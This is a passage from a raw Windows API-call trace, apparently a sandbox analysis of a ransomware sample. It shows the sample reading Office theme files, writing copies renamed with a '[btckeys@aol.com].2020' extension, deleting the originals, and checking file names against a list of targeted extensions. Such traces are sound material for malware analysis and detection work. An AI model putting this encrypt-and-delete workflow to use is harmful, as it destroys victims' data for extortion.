lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0077.366] GetLastError () returned 0x0 [0077.366] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x621, lpOverlapped=0x0) returned 1 [0077.409] WriteFile (in: hFile=0x168, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x630, lpOverlapped=0x0) returned 1 [0077.410] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0077.410] WriteFile (in: hFile=0x168, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xea, lpOverlapped=0x0) returned 1 [0077.410] SetEndOfFile (hFile=0x168) returned 1 [0077.410] CloseHandle (hObject=0x168) returned 1 [0077.411] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0077.412] SetEndOfFile (hFile=0x1e0) returned 1 [0077.418] CloseHandle (hObject=0x1e0) returned 1 [0077.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0077.419] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0077.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0077.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0077.420] lstrlenW (lpString=".doc") returned 4 [0077.420] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.420] lstrlenW (lpString=".docx") returned 5 [0077.420] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.420] lstrlenW (lpString=".pdf") returned 4 [0077.420] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.420] lstrlenW (lpString=".xls") returned 4 [0077.420] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.420] lstrlenW (lpString=".xlsx") returned 5 [0077.420] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.420] lstrlenW (lpString=".ppt") returned 4 [0077.420] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0077.420] lstrlenW (lpString=".zip") returned 4 [0077.420] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.420] lstrlenW (lpString=".rar") returned 4 [0077.420] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.420] lstrlenW (lpString=".bz2") returned 4 [0077.420] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.420] lstrlenW (lpString=".7z") returned 3 [0077.420] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0077.421] lstrlenW (lpString=".dbf") returned 4 [0077.421] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0077.421] lstrlenW (lpString=".1cd") returned 4 [0077.421] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0077.421] lstrlenW (lpString=".jpg") returned 4 [0077.421] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0077.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0077.421] lstrlenW (lpString=".doc") returned 4 [0077.421] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.421] lstrlenW (lpString=".docx") returned 5 [0077.421] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.421] lstrlenW (lpString=".pdf") returned 4 [0077.421] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.421] lstrlenW (lpString=".xls") returned 4 [0077.421] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.421] lstrlenW (lpString=".xlsx") returned 5 [0077.421] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.421] lstrlenW (lpString=".ppt") returned 4 [0077.421] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0077.421] lstrlenW (lpString=".zip") returned 4 [0077.421] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.421] lstrlenW (lpString=".rar") returned 4 [0077.422] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.422] lstrlenW (lpString=".bz2") returned 4 [0077.422] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.422] lstrlenW (lpString=".7z") returned 3 [0077.422] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0077.422] lstrlenW (lpString=".dbf") returned 4 [0077.422] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0077.422] lstrlenW (lpString=".1cd") returned 4 [0077.422] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0077.422] lstrlenW (lpString=".jpg") returned 4 [0077.422] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.422] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0077.422] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0077.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0077.455] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=25234) returned 1 [0077.455] CloseHandle (hObject=0x204) returned 1 [0077.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0077.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0077.455] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0077.455] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0077.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0077.456] GetLastError () returned 0x0 [0077.456] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x6292, lpOverlapped=0x0) returned 1 [0077.499] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x62a0, lpOverlapped=0x0) returned 1 [0077.513] ReadFile (in: hFile=0x204, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0077.513] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xec, lpOverlapped=0x0) returned 1 [0077.514] SetEndOfFile (hFile=0x1e0) returned 1 [0077.514] CloseHandle (hObject=0x1e0) returned 1 [0077.514] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0077.514] SetEndOfFile (hFile=0x204) returned 1 [0077.515] CloseHandle (hObject=0x204) returned 1 [0077.516] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0077.516] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0077.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0077.516] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0077.516] lstrlenW (lpString=".doc") returned 4 [0077.516] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.516] lstrlenW (lpString=".docx") returned 5 [0077.516] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.516] lstrlenW (lpString=".pdf") returned 4 [0077.516] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.516] lstrlenW (lpString=".xls") returned 4 [0077.516] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.516] lstrlenW (lpString=".xlsx") returned 5 [0077.517] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.517] lstrlenW (lpString=".ppt") returned 4 [0077.517] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0077.517] lstrlenW (lpString=".zip") returned 4 [0077.517] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.517] lstrlenW (lpString=".rar") returned 4 [0077.517] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.517] lstrlenW (lpString=".bz2") returned 4 [0077.517] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.517] lstrlenW (lpString=".7z") returned 3 [0077.517] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0077.517] lstrlenW (lpString=".dbf") returned 4 [0077.517] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0077.517] lstrlenW (lpString=".1cd") returned 4 [0077.517] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0077.517] lstrlenW (lpString=".jpg") returned 4 [0077.517] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0077.517] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0077.517] lstrlenW (lpString=".doc") returned 4 [0077.517] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.517] lstrlenW (lpString=".docx") returned 5 [0077.517] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.518] lstrlenW (lpString=".pdf") returned 4 [0077.518] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.518] lstrlenW (lpString=".xls") returned 4 [0077.518] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.518] lstrlenW (lpString=".xlsx") returned 5 [0077.518] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.518] lstrlenW (lpString=".ppt") returned 4 [0077.518] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0077.518] lstrlenW (lpString=".zip") returned 4 [0077.518] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.518] lstrlenW (lpString=".rar") returned 4 [0077.518] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.518] lstrlenW (lpString=".bz2") returned 4 [0077.518] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.518] lstrlenW (lpString=".7z") returned 3 [0077.518] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0077.518] lstrlenW (lpString=".dbf") returned 4 [0077.518] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0077.518] lstrlenW (lpString=".1cd") returned 4 [0077.518] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.518] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0077.518] lstrlenW (lpString=".jpg") returned 4 [0077.518] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.519] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0077.519] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0077.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0077.605] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=34916) returned 1 [0077.605] CloseHandle (hObject=0x168) returned 1 [0077.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0077.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0077.605] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0077.606] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0077.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0077.608] GetLastError () returned 0x0 [0077.608] ReadFile (in: hFile=0x168, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x8864, lpOverlapped=0x0) returned 1 [0077.627] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x8870, lpOverlapped=0x0) returned 1 [0077.629] ReadFile (in: hFile=0x168, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0077.629] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xec, lpOverlapped=0x0) returned 1 [0077.629] SetEndOfFile (hFile=0x1e0) returned 1 [0077.635] CloseHandle (hObject=0x1e0) returned 1 [0077.635] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0077.635] SetEndOfFile (hFile=0x168) returned 1 [0077.637] CloseHandle (hObject=0x168) returned 1 [0077.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0077.637] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0077.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0077.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0077.638] lstrlenW (lpString=".doc") returned 4 [0077.638] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.638] lstrlenW (lpString=".docx") returned 5 [0077.638] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.638] lstrlenW (lpString=".pdf") returned 4 [0077.638] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.638] lstrlenW (lpString=".xls") returned 4 [0077.638] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.638] lstrlenW (lpString=".xlsx") returned 5 [0077.638] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.638] lstrlenW (lpString=".ppt") returned 4 [0077.638] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0077.638] lstrlenW (lpString=".zip") returned 4 [0077.638] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.638] lstrlenW (lpString=".rar") returned 4 [0077.638] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.638] lstrlenW (lpString=".bz2") returned 4 [0077.639] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.639] lstrlenW (lpString=".7z") returned 3 [0077.639] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0077.639] lstrlenW (lpString=".dbf") returned 4 [0077.639] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0077.639] lstrlenW (lpString=".1cd") returned 4 [0077.639] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0077.639] lstrlenW (lpString=".jpg") returned 4 [0077.639] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0077.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0077.639] lstrlenW (lpString=".doc") returned 4 [0077.639] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.639] lstrlenW (lpString=".docx") returned 5 [0077.639] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.639] lstrlenW (lpString=".pdf") returned 4 [0077.639] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.639] lstrlenW (lpString=".xls") returned 4 [0077.639] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.639] lstrlenW (lpString=".xlsx") returned 5 [0077.639] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.639] lstrlenW (lpString=".ppt") returned 4 [0077.640] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0077.640] lstrlenW (lpString=".zip") returned 4 [0077.640] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.640] lstrlenW (lpString=".rar") returned 4 [0077.640] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.640] lstrlenW (lpString=".bz2") returned 4 [0077.640] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.640] lstrlenW (lpString=".7z") returned 3 [0077.640] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0077.640] lstrlenW (lpString=".dbf") returned 4 [0077.640] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0077.640] lstrlenW (lpString=".1cd") returned 4 [0077.640] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0077.640] lstrlenW (lpString=".jpg") returned 4 [0077.640] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.640] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0077.640] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0077.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0078.407] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=2181) returned 1 [0078.407] CloseHandle (hObject=0x210) returned 1 [0078.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0078.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0078.407] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0078.407] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0078.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 